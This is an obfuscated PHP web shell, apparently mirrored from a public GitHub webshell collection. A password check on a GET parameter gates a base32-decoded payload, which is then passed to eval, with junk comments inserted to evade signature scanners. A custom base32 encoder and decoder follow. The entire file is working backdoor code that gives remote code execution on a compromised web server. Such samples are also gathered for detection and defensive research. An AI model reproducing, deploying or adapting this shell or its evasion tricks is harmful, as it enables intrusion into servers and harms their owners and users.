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https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
69 lines
1.5 KiB
PHP
69 lines
1.5 KiB
PHP
<?php
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class ZQIH{
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public $a = null;
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public $b = null;
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public $c = null;
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function __construct(){
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if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
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$this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
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$this->LGZOJH = @base32_decode($this->a);
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@eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
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}}}
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new ZQIH();
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function base32_encode($input) {
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$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
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$output = '';
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$v = 0;
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$vbits = 0;
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for ($i = 0, $j = strlen($input); $i < $j; $i++) {
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$v <<= 8;
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$v += ord($input[$i]);
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$vbits += 8;
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while ($vbits >= 5) {
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$vbits -= 5;
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$output .= $BASE32_ALPHABET[$v >> $vbits];
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$v &= ((1 << $vbits) - 1);
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}
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}
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if ($vbits > 0) {
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$v <<= (5 - $vbits);
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$output .= $BASE32_ALPHABET[$v];
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}
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return $output;
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}
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function base32_decode($input) {
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$output = '';
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$v = 0;
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$vbits = 0;
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for ($i = 0, $j = strlen($input); $i < $j; $i++) {
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$v <<= 5;
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if ($input[$i] >= 'a' && $input[$i] <= 'z') {
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$v += (ord($input[$i]) - 97);
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} elseif ($input[$i] >= '2' && $input[$i] <= '7') {
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$v += (24 + $input[$i]);
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} else {
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exit(1);
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}
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$vbits += 5;
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while ($vbits >= 8) {
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$vbits -= 8;
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$output .= chr($v >> $vbits);
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$v &= ((1 << $vbits) - 1);
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}
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}
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return $output;
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}
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?>
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